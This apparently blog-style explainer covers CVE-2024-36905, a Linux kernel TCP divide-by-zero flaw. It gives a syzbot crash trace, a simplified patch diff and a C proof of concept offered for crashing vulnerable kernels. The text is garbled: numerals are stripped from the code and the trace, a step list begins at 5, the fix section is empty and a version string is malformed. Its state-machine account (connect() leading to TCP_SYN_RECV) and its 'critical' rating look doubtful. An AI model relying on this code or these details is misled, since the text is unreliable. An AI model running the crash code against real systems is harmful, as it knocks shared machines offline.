CVE-2024-36905 - Critical Linux Kernel TCP Divide-by-Zero Vulnerability Explained
A serious vulnerability, assigned as CVE-2024-36905, was discovered and resolved in the Linux kernel's TCP stack. This bug, triggered in obscure but real conditions, allowed an unprivileged local user or fuzzer to crash the system with a divide-by-zero error. The root cause was a mishandling of socket state transitions for TCP connections stuck in a very early state, known as TCP_SYN_RECV. Let's break down what happened, the technical details, the patch, and how you might have exploited it before it was fixed.
What is the Bug?
The flaw centers on how the TCP subsystem in the Linux kernel handles shutdown operations on sockets in the TCP_SYN_RECV state, which is part of the TCP handshake process. In normal use, TCP_SYN_RECV is brief, but fuzzers or abnormal connections can leave sockets in this state longer.
The core issue:
Different code paths allowed a socket to transition from TCP_SYN_RECV to TCP_FIN_WAIT1 (meaning the client is shutting down the sending side of the connection) without ever initializing some key parts of the socket's state. This specifically meant that the buffer space management (via tcp_init_transfer() and tcp_init_buffer_space()) was skipped.
That, in turn, caused the function tcp_rcv_space_adjust() to eventually perform a division by zero—kernel panic!
A syzbot fuzzer produced the following crash
divide error: 000 [#1] PREEMPT SMP KASAN NOPTI
...
RIP: 001:tcp_rcv_space_adjust+x2df/x890 net/ipv4/tcp_input.c:767
...
The kernel tried to calculate buffer sizes using an uninitialized (i.e., zero) value in a division, causing a fatal error.
Call shutdown() before the connection is established.
5. The kernel transitions the socket state to TCP_FIN_WAIT1 without calling buffer initialization routines.
Here’s a diagram
TCP_CLOSE
| connect()
TCP_SYN_SENT
| (connection attempt in progress)
TCP_SYN_RECV
| shutdown() <-- called here!
TCP_FIN_WAIT1 <-- BAD: uninitialized buffer space!
The essence of the issue can be captured in pseudo-code
// Vulnerable: Shutdown during handshake skips buffer setup
socket(AF_INET, SOCK_STREAM, );
connect(sock, ...);
// At this point, TCP state is TCP_SYN_RECV
shutdown(sock, SHUT_WR); // Closes sending side too early!
// Later, kernel code runs:
tcp_rcv_space_adjust(sock); // Divide by zero: buffer space uninitialized!
Imagine a fuzzer (or a malicious program) rapidly creating such sockets and shutting them down—this could cause repeated crashes.
The Fix: Delaying FIN Shutdown
The patch [see references] altered the kernel logic so that a TCP socket in the TCP_SYN_RECV state ignores attempts to shut down the sending side (SHUT_WR or SEND_SHUTDOWN). Now, the transition to TCP_FIN_WAIT1 only happens after the connection is fully established and all internal structures are safely initialized.
Key Patch Change (Simplified)
- if (sk->sk_state == TCP_SYN_RECV && how == SEND_SHUTDOWN)
- sk->sk_state = TCP_FIN_WAIT1; // Bad state transition!
+ if (sk->sk_state == TCP_SYN_RECV && how == SEND_SHUTDOWN)
+ return; // Don't transition, just ignore for now
When the connection finally completes, the shutdown operation is finished from a safe state, preventing crashes.
Ref: linux-netdev patch thread
Exploitation: How Could This Have Been Abused?
Any local user, container, or sandboxed process with socket permission could trigger this crash repeatedly, effectively causing a denial-of-service (DoS) on the Linux system.
This is not a privilege escalation, but it's a serious bug for anyone relying on reliability and uptime.
Here's a PoC in C that could reliably crash a vulnerable kernel
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
int main() {
int sock;
struct sockaddr_in addr;
sock = socket(AF_INET, SOCK_STREAM, );
memset(&addr, , sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(80); // (any open port)
addr.sin_addr.s_addr = htonl(x7f000001); // 127...1
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
shutdown(sock, SHUT_WR); // Too early -- triggers bug in vulnerable kernel
close(sock);
return ;
}
If run on the affected kernel version, this could cause an instant panic.
Impact and Recommendations
Severity:
While this bug doesn't allow for privilege escalation or direct information leaks, it could be used for denial-of-service (DoS). On multi-user environments, VPS, or shared servers, this could lead to system-wide instability.
Who is affected?
All Linux users running kernels prior to [patched versions] after 6.9.-rc6.
How to fix:
Additional References
- Patch discussion and code on linux-netdev (lore.kernel.org)
- syzbot bug tracker: Divide-by-zero in tcp_rcv_space_adjust
- Mainline Linux git commit (if available)
Summary
CVE-2024-36905 is a critical kernel bug allowing unprivileged users to crash affected Linux systems due to improper handling of TCP shutdowns in early connection states. The fix blocks these invalid socket transitions, preserving system stability.
Upgrade your kernel promptly to stay safe.
*Written June 2024, exclusively for you.*
Questions? Comments? [Contact me!]
Timeline
Published on: 05/30/2024 16:15:14 UTC
Last modified on: 07/03/2024 02:03:47 UTC